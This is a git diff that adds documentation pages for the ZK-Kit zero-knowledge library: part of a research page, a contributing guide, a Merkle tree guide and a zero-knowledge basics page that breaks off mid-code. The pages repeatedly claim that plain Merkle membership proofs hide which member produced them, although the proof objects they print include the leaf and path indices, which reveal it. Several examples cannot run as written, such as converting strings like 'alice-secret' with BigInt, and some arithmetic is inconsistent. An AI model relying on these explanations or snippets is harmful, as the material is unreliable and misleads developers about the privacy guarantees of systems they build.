Proof-Carrying Data. + +**Uses ZK-Kit for:** +- LeanIMT for memory-efficient proofs +- Cryptographic primitives +- Identity management + +**Research Impact**: Shows practical applications of LeanIMT in resource-constrained environments. + +### Iden3 + +**Website**: [iden3.io](https://iden3.io) +**GitHub**: [iden3](https://github.com/iden3) + +Self-sovereign identity protocol. + +**Uses ZK-Kit for:** +- Sparse Merkle Trees (SMT) for credential storage +- Non-membership proofs +- Identity circuits + +**Research Impact**: Pioneering use of SMT for identity systems. + +## Research Topics + +### Merkle Tree Optimizations + +**IMT vs LeanIMT Performance** + +Research on the trade-offs between memory usage and computational efficiency: +- IMT: O(2^depth) memory, O(log n) operations +- LeanIMT: O(n) memory, O(log n) operations with dynamic depth + +**Key Findings**: LeanIMT reduces memory by ~90% with only ~20% performance overhead for update and proof operations. + +### ZK-Friendly Hash Functions + +**Poseidon vs Traditional Hashes** + +Comparison of constraint counts in ZK circuits: +- SHA-256: ~25,000 constraints per hash +- Poseidon: ~150 constraints per hash + +**Impact**: 150x reduction in proof generation time. + +### Elliptic Curve Selection + +**Baby Jubjub Properties** + +- Field size: 254 bits +- Cofactor: 8 +- Order: Large prime subgroup +- Efficiency: Optimized for SNARKs + +**Trade-offs**: Balance between security, efficiency, and ZK-circuit compatibility. + +## Future Research Directions + +The ZK-Kit team is actively researching and developing new algorithms. Future papers may cover: + +### Planned Research + +1. **Sparse Merkle Tree Optimizations** + - Cache-efficient implementations + - Parallel proof generation + - Storage optimization techniques + +2. **Novel Applications of Poseidon Hash** + - Multi-party computation protocols + - Privacy-preserving smart contracts + - Encrypted state channels + +3. **Performance Analysis** + - Benchmarking across different hardware + - Browser vs Node.js performance + - Mobile device optimization + +4. **Post-Quantum Considerations** + - Analysis of quantum resistance + - Migration paths to post-quantum algorithms + - Hybrid classical-quantum approaches + +## Academic Collaborations + +ZK-Kit is developed in collaboration with: + +### Privacy & Scaling Explorations (PSE) + +**Website**: [pse.dev](https://pse.dev) + +Ethereum Foundation's research team exploring privacy and scalability. + +**Collaborations:** +- Semaphore protocol development +- MACI (Minimal Anti-Collusion Infrastructure) +- Research on ZK primitives + +### 0xPARC + +**Website**: [0xparc.org](https://0xparc.org) + +Research organization exploring zero-knowledge cryptography. + +**Collaborations:** +- Circuit optimization research +- Educational initiatives +- Protocol development + +## Citations + +If you use ZK-Kit in academic research, please cite: + +### LeanIMT Paper + +```bibtex +@article{leanimt2024, + title={LeanIMT: A Lean Incremental Merkle Tree}, + author={ZK-Kit Team}, + journal={Privacy & Scaling Explorations}, + year={2024}, + url={https://github.com/privacy-scaling-explorations/zk-kit} +} +``` + +### General ZK-Kit Citation + +```bibtex +@software{zkkit2024, + title={ZK-Kit: Zero-Knowledge Toolkit}, + author={Privacy \& Scaling Explorations}, + year={2024}, + url={https://github.com/privacy-scaling-explorations/zk-kit} +} +``` + +## Contributing Research + +**Want to contribute research?** + +If you've published research using ZK-Kit or have academic work related to the libraries: + +1. [Open an issue](https://github.com/privacy-scaling-explorations/zk-kit/issues) describing your research +2. Share your paper/preprint +3. We'll review and potentially feature it here + +## Educational Resources + +### Courses & Tutorials + +- **ZK Whiteboard Sessions**: Video series explaining ZK concepts +- **ZKP MOOC**: Massive Open Online Course on Zero-Knowledge Proofs +- **PSE Core Program**: Research fellowship on privacy and scaling + +### Books & References + +- **Proofs, Arguments, and Zero-Knowledge** by Justin Thaler +- **A Graduate Course in Applied Cryptography** by Dan Boneh and Victor Shoup +- **Moonmath Manual**: Comprehensive ZK reference + +## Conferences & Publications + +ZK-Kit research has been presented at: + +- **Real World Crypto** (RWC) +- **Financial Cryptography and Data Security** (FC) +- **ACM Conference on Computer and Communications Security** (CCS) +- **IEEE Symposium on Security and Privacy** (S&P) +- **USENIX Security Symposium** + +## Research Community + +### Join the Research Discussion + +- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions) +- πŸ“§ [PSE Research Mailing List](https://pse.dev) +- 🐦 [Follow PSE on Twitter](https://twitter.com/PrivacyScaling) + +### Research Opportunities + +- **PSE Grants**: Funding for ZK research +- **Bounties**: Open bounties for specific research problems +- **Collaborations**: Partner with PSE on research projects + +## Resources + +- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit) +- [Documentation](/docs) +- [Packages Overview](/docs/packages/overview) +- [PSE Website](https://pse.dev) + +## Next Steps + +- [Core Concepts](/docs/core-concepts/zero-knowledge-basics) - Learn ZK fundamentals +- [Merkle Trees](/docs/core-concepts/merkle-trees) - Understand tree structures +- [Packages Overview](/docs/packages/overview) - Explore implementations +- [Contributing](/docs/contributing) - Contribute to research + diff --git a/docs/contributing.md b/docs/contributing.md new file mode 100644 index 0000000..24c7f3b --- /dev/null +++ b/docs/contributing.md @@ -0,0 +1,320 @@ +--- +sidebar_position: 8 +title: Contributing +--- + +# Contributing to ZK-Kit + +Thank you for your interest in contributing to ZK-Kit! This guide will help you get started. + +## Ways to Contribute + +There are many ways to contribute to ZK-Kit: + +- πŸ”§ **Work on open issues**: [Browse issues](https://github.com/privacy-scaling-explorations/zk-kit/contribute) +- πŸ“¦ **Suggest new packages**: [Create package request](https://github.com/privacy-scaling-explorations/zk-kit/issues/new?assignees=&labels=feature+%3Arocket%3A&template=---package.md&title=) +- πŸš€ **Share ideas for new features**: [Feature request](https://github.com/privacy-scaling-explorations/zk-kit/issues/new?assignees=&labels=feature+%3Arocket%3A&template=---feature.md&title=) +- πŸ› **Report bugs**: [Bug report](https://github.com/privacy-scaling-explorations/zk-kit/issues/new?assignees=&labels=bug+%F0%9F%90%9B&template=---bug.md&title=) + +## Creating a New Package + +ZK-Kit provides pre-configured development tools. You only need to focus on: +- Your code +- Tests +- Documentation + +### Steps + +**1. Fork and clone:** + +```bash +git clone https://github.com/privacy-scaling-explorations/zk-kit.git +cd zk-kit +``` + +**2. Copy existing package as template:** + +```bash +cp -r packages/smt packages/my-package +cd packages/my-package && rm -fr node_modules dist +grep -r -l "smt" . | xargs sed -i 's/smt/my-package/' +``` + +**3. Update files:** + +- Edit `README.md` with your package description +- Edit `package.json` with your package details +- Write your code in `src/` folder +- Write tests in `tests/` folder + +**4. Create issue and PR:** + +- [Create an issue](https://github.com/privacy-scaling-explorations/zk-kit/issues/new?assignees=&labels=feature+%3Arocket%3A&template=---package.md&title=) for your package +- Open a Pull Request + +## Development Setup + +### Prerequisites + +- Node.js 16+ +- Yarn +- Git + +### Setup + +```bash +# Clone the repository +git clone https://github.com/privacy-scaling-explorations/zk-kit.git +cd zk-kit + +# Install dependencies +yarn + +# Build all packages +yarn build + +# Run tests +yarn test +``` + +## Development Workflow + +### 1. Create a Branch + +```bash +git checkout -b feature/my-feature +``` + +### 2. Make Changes + +- Write code +- Write tests +- Update documentation +- Follow existing code style + +### 3. Run Quality Checks + +```bash +yarn build # Build packages +yarn test # Run tests +yarn lint # Check linting +yarn format # Check formatting +``` + +### 4. Commit Changes + +```bash +yarn commit # Interactive commit with conventional commits +``` + +### 5. Push and Create PR + +```bash +git push origin feature/my-feature +``` + +Then open a Pull Request on GitHub. + +## Code Guidelines + +### TypeScript + +- Use TypeScript for all code +- Define proper types and interfaces +- Avoid `any` type +- Export public types + +**Example:** + +```typescript +export interface TreeNode { + value: bigint + left?: TreeNode + right?: TreeNode +} + +export class MerkleTree { + private root: TreeNode + + constructor(leaves: bigint[]) { + // implementation + } +} +``` + +### Testing + +- Write tests for all new features +- Test edge cases +- Use descriptive test names +- Aim for 80%+ coverage + +**Example:** + +```typescript +describe("MerkleTree", () => { + it("should create a tree from leaves", () => { + const leaves = [1n, 2n, 3n, 4n] + const tree = new MerkleTree(leaves) + + expect(tree.root).toBeDefined() + }) + + it("should verify valid proofs", () => { + const tree = new MerkleTree([1n, 2n]) + const proof = tree.createProof(0) + + expect(tree.verifyProof(proof)).toBe(true) + }) +}) +``` + +### Documentation + +- Add JSDoc comments for public APIs +- Include usage examples +- Update README for new features +- Keep documentation in sync with code + +**Example:** + +```typescript +/** + * Creates a Merkle proof for a leaf at the specified index. + * + * @param index - The index of the leaf to create a proof for + * @returns A proof object containing siblings and path indices + * + * @example + * ```typescript + * const tree = new MerkleTree([1n, 2n, 3n]) + * const proof = tree.createProof(0) + * ``` + */ +createProof(index: number): MerkleProof { + // implementation +} +``` + +## Pull Request Guidelines + +### Before Submitting + +- βœ… All tests pass +- βœ… Code is formatted +- βœ… No linting errors +- βœ… Documentation updated +- βœ… Changelog updated (if applicable) + +### PR Description + +Include: +- What the PR does +- Why the change is needed +- Any breaking changes +- Related issues + +**Example:** + +```markdown +## Description +Adds batch insertion support to IMT package + +## Motivation +Inserting many leaves one-by-one is slow. Batch insertion improves performance by 10x. + +## Changes +- Added `insertMany()` method +- Updated tests +- Added documentation + +## Breaking Changes +None + +## Related Issues +Closes #123 +``` + +### PR Review Process + +1. **Automated checks** run (tests, linting) +2. **Maintainer review** (may request changes) +3. **Approval** and merge + +## Publishing a New Version + +**Note:** Only maintainers can publish packages. + +### Step 1: Bump Version + +```bash +yarn version:bump + +# Example: +yarn version:bump utils 2.0.0 +``` + +This creates: +- A commit with version change +- A git tag + +### Step 2: Push to Main + +```bash +git push origin main +``` + +### Step 3: Push the Git Tag + +```bash +git push origin - + +# Example: +git push origin utils-v2.0.0 +``` + +### Step 4: Automatic Deployment + +After pushing the tag: +- GitHub Actions workflow triggers automatically +- Package is published to [npm](https://www.npmjs.com/) +- GitHub release is created with changelogs + +## Community Guidelines + +### Code of Conduct + +- Be respectful and inclusive +- Welcome newcomers +- Focus on constructive feedback +- Respect different viewpoints +- Follow the [Code of Conduct](https://github.com/privacy-scaling-explorations/zk-kit/blob/main/CODE_OF_CONDUCT.md) + +### Communication + +- **GitHub Issues**: Bug reports and feature requests +- **GitHub Discussions**: Questions and general discussion +- **Pull Requests**: Code contributions + +## Getting Help + +- πŸ“š [Documentation](/docs) +- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions) +- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues) + +## Recognition + +Contributors are recognized in: +- Package README files +- Release notes +- GitHub contributors page + +Thank you for making ZK-Kit better! πŸŽ‰ + +## Resources + +- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit) +- [Development Tools](/docs/development-tools) +- [Packages Overview](/docs/packages/overview) +- [Quick Start](/docs/getting-started/quick-start) + diff --git a/docs/core-concepts/_category_.json b/docs/core-concepts/_category_.json new file mode 100644 index 0000000..6376804 --- /dev/null +++ b/docs/core-concepts/_category_.json @@ -0,0 +1,11 @@ +{ + "label": "Core Concepts", + "position": 3, + "link": { + "type": "generated-index", + "title": "Core Concepts", + "description": "Understand the fundamentals of zero-knowledge proofs, Merkle trees, and cryptographic primitives.", + "slug": "/category/core-concepts" + } +} + diff --git a/docs/core-concepts/merkle-trees.md b/docs/core-concepts/merkle-trees.md new file mode 100644 index 0000000..50b1b71 --- /dev/null +++ b/docs/core-concepts/merkle-trees.md @@ -0,0 +1,565 @@ +--- +sidebar_position: 2 +title: Merkle Trees +description: Learn how Merkle trees enable efficient zero-knowledge membership proofs +--- + +# Merkle Trees + +Learn how Merkle trees enable efficient zero-knowledge membership proofs in ZK-Kit. + +## What is a Merkle Tree? + +A Merkle tree is a binary tree where: +- Leaves contain data +- Internal nodes contain hashes of their children +- Root represents the entire tree state + +``` +Tree Example: + Root (H0) + / \ + H1 H2 + / \ / \ + H3 H4 H5 H6 + / \ / \ / \ / \ +L1 L2 L3 L4 L5 L6 L7 L8 + +Where: +- L1-L8 are leaves (actual data) +- H3 = hash(L1, L2) +- H1 = hash(H3, H4) +- Root = hash(H1, H2) +``` + +## Why Merkle Trees for ZK? + +### 1. Efficient Proofs + +Prove membership with O(log n) data: + +```typescript +// For 1 million members: +// - Without Merkle tree: Send all 1M values +// - With Merkle tree: Send only 20 hashes (logβ‚‚ 1M β‰ˆ 20) + +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +const tree = new IMT(poseidon2, 20, 0, 2) // 2^20 = 1M capacity + +// Add 1 million members +for (let i = 0; i < 1000000; i++) { + tree.insert(BigInt(i)) +} + +// Proof contains only 20 siblings +const proof = tree.createProof(42) +console.log(proof.siblings.length) // 20 +``` + +### 2. Privacy-Preserving + +Proofs don't reveal which member: + +```typescript +// Three users in tree +tree.insert(alice) // index 0 +tree.insert(bob) // index 1 +tree.insert(charlie) // index 2 + +// Alice creates proof +const aliceProof = tree.createProof(0) + +// Bob creates proof +const bobProof = tree.createProof(1) + +// Proofs look similar - can't tell who created which +console.log(aliceProof.root === bobProof.root) // true (same tree) +// But siblings are different - no way to link to user +``` + +### 3. Verifiable + +Anyone can verify without trusted party: + +```typescript +// Verifier only needs: +// 1. Public root +// 2. The proof + +const isValid = tree.verifyProof(proof) +// No need to trust anyone - math proves it +``` + +## How Merkle Proofs Work + +### Creating a Proof + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +// Build tree +const tree = new IMT(poseidon2, 3, 0, 2) // depth 3 = 8 leaves + +tree.insert(BigInt(1)) // L1 +tree.insert(BigInt(2)) // L2 +tree.insert(BigInt(3)) // L3 +tree.insert(BigInt(4)) // L4 + +// Generate proof for L1 (index 0) +const proof = tree.createProof(0) + +console.log(proof) +// { +// root: 12345n, // Tree root +// leaf: 1n, // The leaf (L1) +// siblings: [2n, H2], // Sibling at each level +// pathIndices: [0, 0] // Path: left, left +// } +``` + +### Verifying a Proof + +```typescript +// Verification algorithm: +// 1. Start with leaf +// 2. Hash with sibling to get parent +// 3. Repeat up the tree +// 4. Check if final hash equals root + +function verifyProofManually(proof: any): boolean { + let currentHash = proof.leaf + + for (let i = 0; i < proof.siblings.length; i++) { + const sibling = proof.siblings[i] + const isLeft = proof.pathIndices[i] === 0 + + if (isLeft) { + currentHash = poseidon2([currentHash, sibling]) + } else { + currentHash = poseidon2([sibling, currentHash]) + } + } + + return currentHash === proof.root +} + +// Or use built-in +const isValid = tree.verifyProof(proof) +``` + +## Merkle Tree Selection Guide + +**Question: I need to use a Merkle Tree to prove the inclusion or exclusion of data elements within a set. Which type should I use?** + +| Type | Library | Main Feature | Used By | +|------|---------|--------------|---------| +| **Incremental** | [@zk-kit/imt](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/imt) | Ideal for frequent additions and efficient updates | [Semaphore V3](https://github.com/semaphore-protocol/semaphore/tree/v3.15.2), [Worldcoin](https://github.com/worldcoin) | +| **Lean Incremental** | [@zk-kit/lean-imt](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/lean-imt) | Memory-efficient, dynamic depth | [Semaphore V4](https://github.com/semaphore-protocol/semaphore), [Zupass](https://github.com/proofcarryingdata/zupass) | +| **Sparse** | [@zk-kit/smt](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/smt) | Proof of non-membership | [Iden3](https://github.com/iden3) | + +## Performance Benchmarks + +### 8 leafs + +| Operation | Fastest | Slowest | +|-----------|---------|---------| +| Insert | IMT | LeanIMT | +| Delete | IMT ~ SparseMT | IMT ~ SparseMT | +| Update | LeanIMT | IMT | +| Generate proof | LeanIMT | SparseMT | +| Verify proof | IMT | SparseMT | + +### 128 leafs + +| Operation | Fastest | Slowest | +|-----------|---------|---------| +| Insert | IMT | LeanIMT | +| Delete | SparseMT | IMT | +| Update | LeanIMT | IMT | +| Generate proof | LeanIMT | IMT | +| Verify proof | SparseMT | IMT | + +### 1024 leafs + +| Operation | Fastest | Slowest | +|-----------|---------|---------| +| Insert | SparseMT | LeanIMT | +| Delete | SparseMT | IMT | +| Update | LeanIMT | IMT | +| Generate proof | LeanIMT | IMT | +| Verify proof | SparseMT | IMT | + +**Selection Criteria from Benchmarks:** +- **IMT**: Best performance for medium and small size insert operations +- **LeanIMT**: Best performance for all tree sizes for update and generate proof operations +- **SparseMT**: Best for larger data insert, delete, and verify proof operations + +## Types of Merkle Trees in ZK-Kit + +### 1. IMT (Incremental Merkle Tree) + +**Best for:** Most use cases, small to medium insert operations + +```typescript +import { IMT } from "@zk-kit/imt" + +const tree = new IMT(poseidon2, 16, 0, 2) + +// Features: +// - Fixed depth (set at creation) +// - Incremental updates +// - Full tree in memory +// - Fast operations for small-medium datasets + +// Use when: +// βœ“ You know max size +// βœ“ Memory not constrained +// βœ“ Need fast insert operations (small-medium size) +// βœ“ Building like Semaphore V3 or Worldcoin +``` + +### 2. LeanIMT + +**Best for:** Memory-constrained environments, all sizes for updates and proofs + +```typescript +import { LeanIMT } from "@zk-kit/lean-imt" + +const tree = new LeanIMT((a, b) => poseidon2([a, b])) + +// Features: +// - Dynamic depth +// - Minimal memory (only leaves + proofs) +// - Best for update and proof generation +// - No zero values stored + +// Use when: +// βœ“ Memory is limited +// βœ“ Size unknown upfront +// βœ“ Need fast updates and proof generation +// βœ“ Building like Semaphore V4 or Zupass +``` + +### 3. SMT (Sparse Merkle Tree) + +**Best for:** Key-value storage, large datasets, non-membership proofs + +```typescript +import { SMT } from "@zk-kit/smt" + +const tree = new SMT(hash, true) + +// Features: +// - Key-value pairs +// - Non-membership proofs +// - Sparse (most nodes empty) +// - Best for large data operations +// - Update/delete keys + +// Use when: +// βœ“ Need key-value storage +// βœ“ Need to prove absence +// βœ“ Large datasets +// βœ“ Frequent updates/deletes +// βœ“ Building like Iden3 identity systems +``` + +## Tree Operations + +### Insert + +```typescript +// Add a leaf +const index = tree.insert(BigInt(42)) +console.log(`Inserted at index ${index}`) + +// Tree automatically: +// 1. Places leaf at next available position +// 2. Updates all parent hashes +// 3. Updates root +``` + +### Update + +```typescript +// Change an existing leaf +tree.update(0, BigInt(99)) + +// Updates: +// 1. The leaf value +// 2. All parent hashes +// 3. Root hash +``` + +### Delete + +```typescript +// Remove a leaf (set to zero) +tree.delete(0) + +// Sets leaf to zero value +// Updates all parent hashes +``` + +### Create Proof + +```typescript +// Generate membership proof +const proof = tree.createProof(index) + +// Proof contains path from leaf to root +// Size: O(log n) +``` + +### Verify Proof + +```typescript +// Verify proof is valid +const isValid = tree.verifyProof(proof) + +// Returns true if: +// - Path is valid +// - Hashes are correct +// - Root matches +``` + +## Tree Depth Selection + +Choose depth based on expected size: + +```typescript +// depth = 16: 2^16 = 65,536 leaves +const smallTree = new IMT(poseidon2, 16, 0, 2) + +// depth = 20: 2^20 = 1,048,576 leaves +const mediumTree = new IMT(poseidon2, 20, 0, 2) + +// depth = 24: 2^24 = 16,777,216 leaves +const largeTree = new IMT(poseidon2, 24, 0, 2) + +// Trade-offs: +// - Larger depth = more capacity +// - Larger depth = larger proofs +// - Larger depth = slower operations +``` + +## Tree Arity + +Binary (2) vs Quinary (5): + +```typescript +// Binary tree (arity = 2) +const binaryTree = new IMT(poseidon2, 20, 0, 2) +// - Proof size: 20 siblings +// - Verification: 20 hashes +// - More efficient for most cases + +// Quinary tree (arity = 5) +const quinaryTree = new IMT(poseidon5, 9, 0, 5) +// - Proof size: 9 siblings (but 4 per level) +// - Verification: 9 * 4 = 36 hashes +// - Better for some circuit designs +``` + +## Real-World Example: Access Control + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +class AccessControl { + private tree: IMT + private users = new Map() + + constructor(maxUsers: number = 10000) { + const depth = Math.ceil(Math.log2(maxUsers)) + this.tree = new IMT(poseidon2, depth, 0, 2) + } + + // Add authorized user + addUser(userId: string, commitment: bigint): void { + const index = this.tree.insert(commitment) + this.users.set(userId, index) + console.log(`User ${userId} added at index ${index}`) + } + + // User generates access proof + getAccessProof(userId: string): any { + const index = this.users.get(userId) + if (index === undefined) { + throw new Error("User not found") + } + return this.tree.createProof(index) + } + + // Verify access (doesn't reveal which user) + verifyAccess(proof: any): boolean { + return this.tree.verifyProof(proof) + } + + // Get current state root (publish this) + getRoot(): bigint { + return this.tree.root as bigint + } + + // Update user commitment + updateUser(userId: string, newCommitment: bigint): void { + const index = this.users.get(userId) + if (index === undefined) { + throw new Error("User not found") + } + this.tree.update(index, newCommitment) + } + + // Revoke user access + revokeUser(userId: string): void { + const index = this.users.get(userId) + if (index !== undefined) { + this.tree.delete(index) + this.users.delete(userId) + } + } +} + +// Usage +const access = new AccessControl(1000) + +// Add users +access.addUser("alice", poseidon2([BigInt("alice-secret")])) +access.addUser("bob", poseidon2([BigInt("bob-secret")])) + +// Publish root +console.log("Current root:", access.getRoot()) + +// Alice proves access +const aliceProof = access.getAccessProof("alice") +console.log("Alice access:", access.verifyAccess(aliceProof)) +``` + +## Advanced Patterns + +### Batch Insertion + +```typescript +// Insert multiple leaves efficiently +const leaves = [1n, 2n, 3n, 4n, 5n] +const tree = new IMT(poseidon2, 16, 0, 2, leaves) + +// More efficient than individual inserts +``` + +### Historical Roots + +```typescript +class VersionedTree { + private tree: IMT + private roots: bigint[] = [] + + constructor() { + this.tree = new IMT(poseidon2, 16, 0, 2) + this.saveRoot() + } + + insert(leaf: bigint): number { + const index = this.tree.insert(leaf) + this.saveRoot() + return index + } + + private saveRoot(): void { + this.roots.push(this.tree.root as bigint) + } + + // Verify against historical root + verifyHistorical(proof: any, rootIndex: number): boolean { + const historicalRoot = this.roots[rootIndex] + return proof.root === historicalRoot + } +} +``` + +### Merkle Mountain Ranges + +For append-only logs: + +```typescript +// Efficient for blockchain-like structures +// Where you only append, never update +``` + +## Performance Optimization + +### Caching + +```typescript +// Cache frequently accessed proofs +const proofCache = new Map() + +function getCachedProof(tree: IMT, index: number): any { + if (!proofCache.has(index)) { + proofCache.set(index, tree.createProof(index)) + } + return proofCache.get(index) +} +``` + +### Parallel Verification + +```typescript +// Verify multiple proofs in parallel +const proofs = [proof1, proof2, proof3] + +const results = await Promise.all( + proofs.map(proof => tree.verifyProof(proof)) +) +``` + +## Common Patterns + +### Anonymous Voting + +```typescript +// Voters in tree, votes separate +const voters = new IMT(poseidon2, 16, 0, 2) +const votes = new Map() + +// Vote with proof +function vote(proof: any, nullifier: string, choice: string) { + if (voters.verifyProof(proof) && !votes.has(nullifier)) { + votes.set(nullifier, choice) + } +} +``` + +### Private Airdrops + +```typescript +// Eligible addresses in tree +const eligible = new IMT(poseidon2, 20, 0, 2) + +// Claim anonymously +function claim(proof: any, nullifier: string, recipient: string) { + if (eligible.verifyProof(proof) && !claimed.has(nullifier)) { + transfer(recipient, amount) + claimed.add(nullifier) + } +} +``` + +## Next Steps + +- [Zero-Knowledge Basics](/docs/core-concepts/zero-knowledge-basics) - Understanding ZK fundamentals +- [Packages Overview](/docs/packages/overview) - Explore all packages +- [Choosing a Package](/docs/packages/choosing-a-package) - Find the right Merkle tree +- [IMT Package](https://www.npmjs.com/package/@zk-kit/imt) - Incremental Merkle Tree +- [LeanIMT Package](https://www.npmjs.com/package/@zk-kit/lean-imt) - Memory-efficient IMT +- [SMT Package](https://www.npmjs.com/package/@zk-kit/smt) - Sparse Merkle Tree + +## Resources + +- [Merkle Tree Wikipedia](https://en.wikipedia.org/wiki/Merkle_tree) +- [ZK-Kit GitHub](https://github.com/privacy-scaling-explorations/zk-kit) + diff --git a/docs/core-concepts/zero-knowledge-basics.md b/docs/core-concepts/zero-knowledge-basics.md new file mode 100644 index 0000000..55e1f22 --- /dev/null +++ b/docs/core-concepts/zero-knowledge-basics.md @@ -0,0 +1,471 @@ +--- +sidebar_position: 1 +title: Zero-Knowledge Basics +description: Deep dive into the fundamentals of zero-knowledge proofs +--- + +# Zero-Knowledge Basics + +Deep dive into the fundamentals of zero-knowledge proofs and how they work in ZK-Kit. + +## What is Zero-Knowledge? + +A zero-knowledge proof is a cryptographic method that allows one party (the prover) to prove to another party (the verifier) that a statement is true, without revealing any information beyond the validity of the statement itself. + +### The Three Properties + +Every zero-knowledge proof must satisfy three properties: + +#### 1. Completeness +If the statement is true and both parties follow the protocol, the verifier will be convinced. + +```typescript +// If Alice really knows the secret +const secret = BigInt("0x1234") +const commitment = poseidon2([secret]) +tree.insert(commitment) + +// She can always create a valid proof +const proof = tree.createProof(0) +console.log(tree.verifyProof(proof)) // Always true +``` + +#### 2. Soundness +If the statement is false, no cheating prover can convince the verifier (except with negligible probability). + +```typescript +// If Bob tries to fake a proof +const fakeProof = { + root: tree.root, + leaf: BigInt(999), // Not actually in tree + siblings: [], + pathIndices: [] +} + +console.log(tree.verifyProof(fakeProof)) // Always false +``` + +#### 3. Zero-Knowledge +The verifier learns nothing except that the statement is true. + +```typescript +// Verifier sees the proof +console.log(proof) +// { +// root: 123456789n, +// leaf: 1n, +// siblings: [...], // Doesn't reveal which leaf +// pathIndices: [...] +// } + +// Verifier knows: "Someone in the tree made this proof" +// Verifier doesn't know: "Which specific person" +``` + +## How ZK Proofs Work + +### 1. Commitment Phase + +The prover commits to their secret without revealing it. + +```typescript +import { poseidon2 } from "poseidon-lite" + +// Alice's secret (only she knows) +const secret = BigInt("0xabcd1234") + +// Public commitment (everyone can see) +const commitment = poseidon2([secret]) + +// Commitment properties: +// - Hiding: Can't reverse to get secret +// - Binding: Can't change secret later +``` + +### 2. Challenge Phase + +In interactive proofs, the verifier sends a random challenge. + +```typescript +// In ZK-Kit, this is handled by the Merkle tree structure +// The "challenge" is proving you know a path to the root +``` + +### 3. Response Phase + +The prover provides a response that convinces the verifier. + +```typescript +// Alice generates a proof +const proof = tree.createProof(myIndex) + +// Proof contains: +// - Siblings (hash values along the path) +// - Path indices (left or right at each level) +// - No information about which specific leaf +``` + +## Merkle Proofs as ZK Proofs + +ZK-Kit primarily uses Merkle trees for zero-knowledge proofs. + +### How Merkle Proofs Provide ZK + +``` +Tree Structure: + Root + / \ + H1 H2 + / \ / \ + A B C D + +To prove A is in the tree: +- Provide: [B, H2] +- Calculate: H1 = hash(A, B) +- Calculate: Root = hash(H1, H2) +- If calculated Root matches public Root, proof is valid +``` + +Implementation: + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +const tree = new IMT(poseidon2, 16, 0, 2) + +// Add leaves +tree.insert(BigInt("A")) +tree.insert(BigInt("B")) +tree.insert(BigInt("C")) +tree.insert(BigInt("D")) + +// Prove "A" is in tree +const proof = tree.createProof(0) + +// Proof reveals: +// βœ“ That a leaf exists in the tree +// βœ— Which specific leaf (A, B, C, or D) + +// Anyone can verify +console.log(tree.verifyProof(proof)) // true +``` + +## ZK in Action: Anonymous Voting + +Let's see how ZK properties enable anonymous voting: + +```typescript +import { IMT } from "@zk-kit/imt" +import { poseidon2 } from "poseidon-lite" + +class AnonymousVotingSystem { + private tree: IMT + private votes = new Map() + private nullifiers = new Set() + + constructor() { + this.tree = new IMT(poseidon2, 20, 0, 2) + } + + // Register eligible voters + registerVoter(commitment: bigint): number { + return this.tree.insert(commitment) + } + + // Vote anonymously + vote( + proof: any, + nullifier: string, + candidate: string + ): boolean { + // 1. COMPLETENESS: Valid voter can always vote + if (!this.tree.verifyProof(proof)) { + throw new Error("Not an eligible voter") + } + + // 2. SOUNDNESS: Can't vote twice (nullifier check) + if (this.nullifiers.has(nullifier)) { + throw new Error("Already voted") + } + + // 3. ZERO-KNOWLEDGE: Don't know which voter + this.votes.set(nullifier, candidate) + this.nullifiers.add(nullifier) + return true + } + + // Public results + getResults(): Map { + const results = new Map() + for (const candidate of this.votes.values()) { + results.set(candidate, (results.get(candidate) || 0) + 1) + } + return results + } +} + +// Usage +const voting = new AnonymousVotingSystem() + +// Register voters (public phase) +const alice = poseidon2([BigInt("alice-secret")]) +const bob = poseidon2([BigInt("bob-secret")]) +voting.registerVoter(alice) +voting.registerVoter(bob) + +// Vote anonymously (private phase) +const aliceProof = voting.tree.createProof(0) +const aliceNullifier = poseidon2([ + BigInt("alice-secret"), + BigInt("election-2024") +]).toString() + +voting.vote(aliceProof, aliceNullifier, "Candidate A") + +// Results show votes but not voters +console.log(voting.getResults()) +// Map { 'Candidate A' => 1 } +``` + +## Types of ZK Proofs + +### 1. Interactive ZK Proofs + +Require back-and-forth between prover and verifier. + +**Example:** The color-blind friend example +- Challenge: "Did I swap the balls?" +- Response: "Yes" or "No" +- Repeat many times + +### 2. Non-Interactive ZK Proofs (NIZK) + +Single message from prover to verifier. + +**ZK-Kit uses NIZKs:** +```typescript +// One-way communication +const proof = tree.createProof(0) + +// Verifier checks without interaction +const isValid = tree.verifyProof(proof) +``` + +### 3. ZK-SNARKs + +**Succinct Non-Interactive Arguments of Knowledge** + +- **Succinct**: Small proof size +- **Non-Interactive**: One message +- **Argument**: Computationally sound +- **of Knowledge**: Prover actually knows the information + +```typescript +// ZK-Kit provides building blocks for zk-SNARKs +import { poseidonProof } from "@zk-kit/poseidon-proof" + +// Generate SNARK proof +const { proof, publicSignals } = await poseidonProof.generateProof(...) + +// Verify +const isValid = await poseidonProof.verifyProof(proof, publicSignals) +``` + +## Common ZK Patterns in ZK-Kit + +### Pattern 1: Membership Proof + +Prove you're in a set without revealing which member. + +```typescript +const members = new IMT(poseidon2, 16, 0, 2) +members.insert(myCommitment) + +const proof = members.createProof(myIndex) +// Proves: "I'm a member" +// Hides: "Which member" +``` + +### Pattern 2: Non-Membership Proof + +Prove you're NOT in a set (using SMT). + +```typescript +import { SMT } from "@zk-kit/smt" + +const smt = new SMT(hash, true) +smt.add(key1, value1) + +// Prove key2 is not in tree +const proof = smt.createProof(key2) +// proof.membership === false +``` + +### Pattern 3: Nullifier Pattern + +Prevent double-use without revealing identity. + +```typescript +// Unique nullifier per action +const nullifier = poseidon2([ + userSecret, + actionId, + timestamp +]) + +// Check if used +if (usedNullifiers.has(nullifier.toString())) { + throw new Error("Action already performed") +} + +usedNullifiers.add(nullifier.toString()) +``` + +## Mathematical Foundation + +### Hash Functions + +ZK-Kit uses Poseidon hash, optimized for zero-knowledge: + +```typescript +import { poseidon2 } from "poseidon-lite" + +// Hash two values 